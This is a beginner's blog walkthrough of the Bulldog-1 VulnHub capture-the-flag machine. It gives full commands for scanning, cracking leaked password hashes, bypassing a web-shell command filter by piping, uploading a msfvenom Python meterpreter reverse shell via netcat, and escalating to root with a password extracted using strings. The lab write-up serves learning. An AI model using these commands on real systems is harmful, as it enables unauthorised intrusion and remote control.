Bulldog-1 CTF

Solving your first Boot to Root

Posted by CJ on November 3, 2017

For everyone out there who share the same enthusiasm as I do. This is my first blog post, ever. I am doing this so that we, as the beginners in this field, can help each other out. With that being said, let’s dive right into it.

Please try exploiting this vulnerable machine yourself, before reading anything below. If you are really stuck, have a glimpse at the subheading and try using that method or Google about it to learn more.

Link to download bulldog vulnerable machine: https://www.vulnhub.com/entry/bulldog-1,211/

Once, you got your machine up and running in VirtualBox, your assigned IP address would appear. With that, we can start enumeration.


Gather as much info as possible with the tools at your disposal. There are tons of such tools to use. We will start with the most important and fundamental one, nmap. If we type the following in the terminal of our kali system, we get

nmap //IP address of victim machine

We can see that the command returns the services which are running on the machine. Since it is running an HTTP server, on port 80, let’s open up our browser and have a look at it.

The background story is a good read, but apart from that inspecting the pages doesn’t give us much.

Let’s use your next tool in our arsenal, nikto. It is an open source web application scanner, which scans the server for multiple items including improper configuration of servers and as in our case provides names of directories or files which are open to the world.

nikto –h //IP address of victim machine

Going to dev, we get

Reading these messages, we can see that this is their new developing website, with server django, and the web shell is the way they decide to go about securing their new website. Clicking on the link, we are asked to authenticate with the server.

Then I searched for some know vulnerabilities in django that might allow us access but couldn’t find one that might be appropriate in this scenario.

When I started inspecting these pages using inspect element tool, in the browser, something caught my attention.

The developers left their hashes in comments of the HTML page, thinking no one would look, and most likely it can’t be cracked. While this may be true, it’s highly possible that they have already been cracked in some database available online. (Especially since it an intentionally vulnerable VM). All we have to do next is to try out every one of them.

  • alan: 6515229daf8dbdc8b89fed2e60f107433da5f2cb
  • william: 38882f3b81f8f2bc47d9f3119155b05f954892fb
  • malik: c6f7e34d5d08ba4a40dd5627508ccb55b425e279
  • kevin: 0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
  • ashley: 553d917a396414ab99785694afd51df3a8a8a3e0
  • nick: ddf45997a7e18a25ad5f5cf222da64814dd060d5
  • sarah: d8b8dd5e7f000b8dea26ef8428caf38c04466b3e

After a few google searches later, I landed on crackstation.net, where I was able break the last two hashes.

Now, we can use this to login as “sarah” using password ‘bulldoglover” in django admin page locates at IPADDRESSOFVM/admin (This portal is the default one for django).

Sorry, I mistyped the password here. Once I gave the right one, we gained access to the portal.

Now, there is nothing much we can do here. I had a look around and found nothing that could be done since we are not an admin. But if you remember, we have our web shell we could go to. Going back to /dev/shell, we get the following page.


I tried a few commands given there which seems to work and directly run on the server as mentioned. When I try a command which is not listed here, it returns the message


Since we don’t listen to warning signs, we can try using “;” to run multiple commands but it seems to figure it out too. Next, we try piping commands together to see if they work. Upon running the following command, we can see that the server returns the following output.

ls | date

We seem to have run a command which is not specified. Now we can start playing with the system and probing it for various responses by giving it various commands to run.

Alternatively, we could have gone to do some more enumeration, and found out the file running this program, as given below. Upon analysing it, we can see that any command with ”;” symbol is filtered out and tried piping and other approaches.

After various attempts to add a new user, or change the password of existing user and trying to connect directly to the server failed (mostly because of firewall), I tried to upload a python revers shell script to the server to make it connect back to us.

Now, we could write the script ourselves, but for the time being let’s use the one which is already available and well tested. Here I am using msfvenom to create a python/meterpreter/reverse_tcp payload. Msfvenom,as described in the offensive-security official website, is a Metasploit standalone payload generator. Using the following command generates our required payload.

On attacker machine:

msfconsole –p python/meterpreter/reverse_tcp LHOST= LPORT=2345 > reverse.py

This generates a payload and writes it to reverse.py file in the same directory. LHOST specifies the IP address of the attacker machine and LPORT specifies the port it should connect back to, once the script is run on the victim machine.

We can send the file to the server using nc command (netcat). All we need to do is to make the server listen to some port on its local machine and write the output content to a file, say the reverse.py (this file name doesn’t have to be the same as the one created). This is done using the following command.

On web shell:

ls | nc –l –p 6666 > reverse.py

This command specifies to make nc listen on port 6666 and send the data received to reverse.py file.

On attacking machine:

nc 6666 < reverse.py

This command specifies that we need to connect to this host (IP address of victim machine) to port 6666 and send the data contained in reverse.py to it.

Now, before we run the script on the victim machine, we need to start Metasploit on the attacker system. This is done using the following command.

On attackers system:


This will open up Metasploit. Once, it prompts msf, we can write a series of command to start a reverse TCP handler.

  • 1) use multi/handler
  • 2) set payload python/meterpreter/reverse_tcp
  • 3) set LHOST
  • 4) set LPORT 2345
  • 5) exploit

The first command specifies meterpreter to create a handler to handle multiple incoming sessions and run in the background (even though we need only one session for this exploit). The second command specifies the payload which will cause a connection back, in our case python/meterpreter/reverse_tcp.

Now, we have to set a few options which are mandatory to run this command. These options which need to be set can be seen using “show options” command. We can see that LHOST and LPORT are needed, so we write the command specified in 3 and 4, where LHOST is attackers IP address and the port the payload we created specifies. Finally, exploit to run the handler.

Now, if we run the reverse.py script in victim machine, we get a connection back to our attacking machine. This is done by running the following commands.

On victim machine:

ls | chmod +x reverse.py

This command makes the file executable by every user in the system (Since we are the owner of the file, we can change its permissions). Now,

ls | python reverse.py

This command runs the python script, while causes a connection to be established with our attacking machine.

When a connection is established, meterpreter starts a session which is in the background. We can interact with the session created using, the following command on our attacking machine.

On attacking machine:

sessions –i 1

This starts an interaction with the session obtained. Now, we can see all the commands available by typing help command in it. Since we are exploiting the system to get shell access, we give shell command.


This will open up a shell prompt and give it to us to use.

GETTING ADMIN ACCESS: (usually the hard part, but not so here)

We can type the following commands to get started.


This first command prints the current user and second gives us the user and group id. These prints django here with its associated ids. To make the shell prompt somewhat better (than this crappy one), we can type

python –c ‘import pty;pty.spawn(“/bin/bash”)’

Now, we can enumerate even more by looking at all directories and files, which we have access to, change or make or break whatever is available to us. After spending some time getting to know about the system and the processes running, I explored the bulldogadmin home directory. It seemed empty at first, and hence I used,

ls –la

This command lists all the files including hidden ones and lists all the permissions, owner, group, and time last modified details.

This command produced this, with the eye-catcher being hiddenadmindirectory.

When I entered into the directory, I came across a note file, so I obviously printed it out to see what message it holds.

In essence, it says something about customPermissionApp which decides which user should have access to file depending on the username and password provided.
I then checked the file format of customPermissionApp using the following command,

file customPermissionApp

It returned an ELF 64-bit executable, but upon further checking the permission of the file, it was not executable by django user.
The next step that is usually and should be taken is using the strings command.

strings customPermissionApp

What this command does is, it returns each string of printable characters in files. Its main uses are to determine the contents of and to extract text from binary files (i.e., non-text files). For us, it means if the password is being compared with some plain text in the program, we can see it, and that is exactly what happens when we run it.

If you notice, the last but three and three lines preceding it contains something which could be a password (since it says superultimatepasswordyoucantget). If we copy these four lines to a text editor and remove the last character ‘H’ and join the lines we get


And since the note specifies that django has sudo access, let’s try to switch user to root using

sudo su

sudo is used to run the following command with the privileges of superuser, and su command switches users. Since no username is followed, it defaults to root user switch. Now, when prompted for a password for django, let’s try the above-obtained password.

And voila, we have root access. We can double check this by using whoami and id commands.
Finally, we can go into /root directory and list the files and directory present using ls command. We can see that there is a congrats.txt file with the following content.

Thank you for reading this post. If you have any question, queries, or correction please feel free to contact me.

Special thanks to Nick Frichette for creating this vulnerable machine and to vulnhub.com for letting everyone learn for free.